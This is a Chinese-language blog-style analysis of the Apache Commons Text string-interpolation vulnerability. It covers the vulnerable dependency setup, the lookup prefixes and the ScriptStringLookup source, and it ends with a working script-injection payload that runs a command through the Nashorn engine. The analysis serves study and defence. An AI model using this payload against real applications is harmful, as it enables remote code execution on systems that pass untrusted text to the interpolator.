前言
学习。
环境搭建
可以在maven仓库里直观地看到存在漏洞的软件版本:
于是新建一个Java项目,加入受漏洞影响的Apache Commons Text依赖:
<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-text -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>1.8</version>
</dependency>
不知道为什么下载不到1.9版本的,搞不懂。
漏洞分析
看一看官方的入门指导。
Apache Commons Text是一个文本处理库,可以通过\${prefix:name}的写法对字符串进行灵活处理,比如入门指导中给出的快速文本处理示例代码,这里我删掉了一些跟文件有关的处理避免发生文件不存在的问题:
final StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
final String text = interpolator.replace(
"Base64 Decoder: ${base64Decoder:SGVsbG9Xb3JsZCE=}\n" +
"Base64 Encoder: ${base64Encoder:HelloWorld!}\n" +
"Java Constant: ${const:java.awt.event.KeyEvent.VK_ESCAPE}\n" +
"Date: ${date:yyyy-MM-dd}\n" +
"Environment Variable: ${env:USERNAME}\n" +
"Java: ${java:version}\n" +
"Localhost: ${localhost:canonical-name}\n" +
"Resource Bundle: ${resourceBundle:org.apache.commons.text.example.testResourceBundleLookup:mykey}\n" +
"System Property: ${sys:user.dir}\n" +
"URL Decoder: ${urlDecoder:Hello%20World%21}\n" +
"URL Encoder: ${urlEncoder:Hello World!}\n"
);
将处理完后的文本打印出来,可以看到:
很明显,Apache Commons Text可以通过在字符串中使用\${prefix:name}格式的字符串进行字符串的插入,其中prefix代表了要对源字符串做的处理,而name代表了源字符串,如第一个字符串插值${base64Decoder:SGVsbG9Xb3JsZCE=}就代表了对name进行base64解码后插入字符串中。
根据漏洞通告所说,prefix代表的其实是Apache Commons Text里面org.apache.commons.text.lookup.StringLookup这个接口的实现类,在IDEA里面搜索一下继承了该接口的类:
可以很明显地看到,有一些类就是示例代码中使用到的文本处理类,按照漏洞通告的说法,其中有三个StringLookup类存在利用方法:
These lookups are: - "script" - execute expressions using the JVM script execution engine (javax.script) - "dns" - resolve dns records - "url" - load values from urls, including from remote servers
其中script这个prefix看起来就特别可疑,似乎可以调用脚本引擎,找到其对应的ScriptStringLookup类,可以在注释里看到使用方法:
${script:javascript:3 + 4}
看起来是调用了JavaScript引擎运行了后面的代码,接下来分析一下执行文本处理地该类的lookup函数:
@Override
public String lookup(final String key) {
if (key == null) {
return null;
}
final String[] keys = key.split(SPLIT_STR);
final int keyLen = keys.length;
if (keyLen != 2) {
throw IllegalArgumentExceptions.format("Bad script key format [%s]; expected format is DocumentPath:Key.",
key);
}
final String engineName = keys[0];
final String script = keys[1];
try {
final ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName(engineName);
if (scriptEngine == null) {
throw new IllegalArgumentException("No script engine named " + engineName);
}
return Objects.toString(scriptEngine.eval(script), null);
} catch (final Exception e) {
throw IllegalArgumentExceptions.format(e, "Error in script engine [%s] evaluating script [%s].", engineName,
script);
}
}
可以看到非常可疑的两句代码:
final ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName(engineName);
和:
return Objects.toString(scriptEngine.eval(script), null);
漏洞利用
参考常用的ScriptEngineManager:
${script:nashorn:java.lang.Runtime.getRuntime().exec('calc')}